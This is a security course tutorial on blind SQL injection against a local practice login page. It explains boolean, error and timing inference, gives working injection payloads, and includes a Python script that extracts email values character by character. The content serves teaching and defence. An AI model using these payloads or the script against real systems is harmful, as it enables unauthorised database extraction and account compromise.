Blind SQL Injection
Blind SQL injection attacks are where the server is vulnerable to SQLi, But the responses don't directly contain the results of the SQL Query.
This means that the techniques for enumeration we discussed previously are not effective, as we are unable to see the results within the page response. However, it is still possible to exploit the SQL injection vulnerability, with different techniques.
A General Approach.
Lets go back to the login page on the web trainer, as discussed in the SQLI article in Web Security Module.
We know that we can break the query to login as different users with the 1=1
trick, and by using LIMIT
and various OFFSETS
we can change the user that we are able to login as.
The thing of interest here is the different response types, with different messages for a successful, and unsuccessful login. Having this True or False response to the query is enough for us to exploit the blind SQLI injection vulnerability. We can retrieve information by examining the responses to a injected condition, and extract data.
Lets imagine we have a simple database table that looks like this
id | username |
---|---|
1 | dan |
2 | james |
And the Corresponding query of:
SELECT * FROM table WHERE username = {input}
- If we have an existing user then the database will return the matching row (SUCCESS)
- Otherwise we get no data back (FAIL)
We could start to infer user details by guessing elements of the username on a letter by letter basis.
Letter | Result |
---|---|
username[0] == "c" | False |
username[0] == "d" | True |
username[0] == "e" | False |
In SQL the SUBSTRING(column, offset, length)
1 query allows us examine elements of the query results. Note that the offset starts at index 1, rather than the usual zero index we get is most sane programming languages.
In a mySQL style database we could do this with something like:
Query | Result |
---|---|
SELECT * FROM table WHERE SUBSTRING(username, 1, 1) = 'c' |
False |
SELECT * FROM table WHERE SUBSTRING(username, 1, 1) = 'd' |
True |
SELECT * FROM table WHERE SUBSTRING(username, 1, 1) = 'e' |
False |
We can see that the result of the query, becomes true when we find the relevant matching character
Once we have inferred this we can expand the query to start matching the next character, and so on.
Query | Result |
---|---|
SELECT * FROM table WHERE SUBSTRING(username, 2, 1) = 'a' |
True |
SELECT * FROM table WHERE SUBSTRING(username, 2, 1) = 'b' |
False |
Gotcha warning
We are keeing the query above simple to demonstrate the concept.
As my SQL is not case sensitive, we get a match for both
SELECT * FROM table WHERE SUBSTRING(username, 1, 1) = 'd'
SELECT * FROM table WHERE SUBSTRING(username, 1, 1) = 'D'
While this may not matter when we are making further queiries to the database (as all queries are case insensitive), it might matter if we are trying to leak details used in other case sensitive systems.
The BINARY operator forces the query to work in a case sensitive way.
Query | Result |
---|---|
SELECT * FROM table WHERE BINARY SUBSTRING(username, 1, 1) = 'D' |
False |
SELECT * FROM table WHERE BINARY SUBSTRING(username, 1, 1) = 'd' |
True |
This concept of using a True or False result, to exfiltrate data on a item by item basis, is the trick behind blind SQL injection.
Going back to our login Page
In the previous article we looked at how we can use SQL injection to bypass a login page.
While this is really useful (in the case of bypassing logins), we are only getting a true or false response from the server, meaning that we are not able to "leak" any information, such as usernames.
Using the general approach described above, we can use Blind SQL injection to get the email addresses of the users in the table
Note
This does rely on us having "Magical" knowlege of the database structure to build our queries. We would have to guess, or leak the relevant database columns.
Our Proof Of Concept query is going to be something like
SELECT * FROM hashuser WHERE BINARY SUBSTRING(email, {index}, 1) = '{guess}'
As the values we are submitting is part of an already existing query. We need to modify the payload to be
bleh' OR BINARY SUBSTRING(email, {index}, 1) = {letter};#
Example
Trying this with different inputs gives us the following results2
A Successful Result
The Input
bleh' OR BINARY SUBSTRING(email, 1, 1) = 'a';#
Gives us the following "Success" message.
Unsuccessful Result
But using 'b' as our input gives us a failure message.
bleh' OR BINARY SUBSTRING(email, 1, 1) = 'b';#
Once we have inferred each letter, we can continue working through the input by expanding our subquery, and looking for the next one.
bleh' OR BINARY SUBSTRING(email, 1, 2) = 'aa';#
bleh' OR BINARY SUBSTRING(email, 1, 2) = 'ab';#
Then
bleh' OR BINARY SUBSTRING(email, 1, 3) = 'ana';#
bleh' OR BINARY SUBSTRING(email, 1, 3) = 'anb';#
Question
Why do we increase the length of the substring, rather than the index we start at? What errors might we get if we used an input like
bleh' OR BINARY SUBSTRING(email, 2,1) = 'a';#
Take a look at the output of the login page to help you understand why.
Automation with Python
Automation is really useful here, as it saves the Ctrl+C and Ctrl+V keys.
Below is some python code that will let us search for a given password
import requests
import string
URL = "http://127.0.0.1/sqli_login.php"
def forceLetter(known):
"""
Brute force a password through blind SQL injection
@param known: If we know any existing password elements
"""
#Lowercase only
for letter in string.ascii_lowercase:
#Build up the input string
pwString = f"{known}{letter}"
pwLen = len(pwString)
logging.debug("Checking %s", pwString)
#SQL Statement
sql = f"bleh' OR SUBSTRING(email, 1, {pwLen}) = '{pwString}';#"
logging.debug("SQL is %s", sql)
#Build our input
data = {"fm-username": sql,
"fm-pass" : ""}
r = requests.get(URL, params = data)
#Check for Match
if "No such user or password" in r.text:
logging.debug("No Match")
else:
logging.debug("Match found")
return pwString
if __name__ == "__main__":
import logging
logging.basicConfig(level=logging.DEBUG)
knownPw = "a"
out = forceLetter(knownPw)
print(f"Match found {out}")
Its also possible to do this in Burp suite using the repeater
Task
The Code only deals with lowercase letters, and also needs us to supply input for each charachter. Modify the Code to make it automatically infer a password.
Blind SQL without direct feedback.
In some situations, the Query may be carried out, but the application will not behave any differently regardless of the success / failure of the query.
Even if no information is reflected to the user, it may sill be possible to use the Blind SQL approach to infer the contents of the DB.
We will go through a couple of examples here, Portswiggers excellent SQL Injection Cheat Sheet provides details of other approaches.
Blind SQL through Errors
One way is to try to force a database error depending on the success of the query.
We can try to force an error in one of these situations which may make the system return a different response. The CASE statement is useful for this, as can the IF statement in mySQL
Blind SQL Through Timing
We can also force the database to do an action that takes time to complete, by measuring the response time it can be possible to infer the query status.
Again, various ways exist of doing this, but the SLEEP
function works well in many DB engines.
An Example of doing this in our Login form is the input
bleh' OR (SELECT IF (substring(email,1,1) = 'a', sleep(2),'aaaa'));#
-
Depending on the database engine this may be
SUBSTR
. Portswigger excellent SQL Injection Cheat Sheet is perfect for helping with these details. ↩ -
This is where I curse myself for having an 'a' in the database column and getting a positive result before a negative one. ↩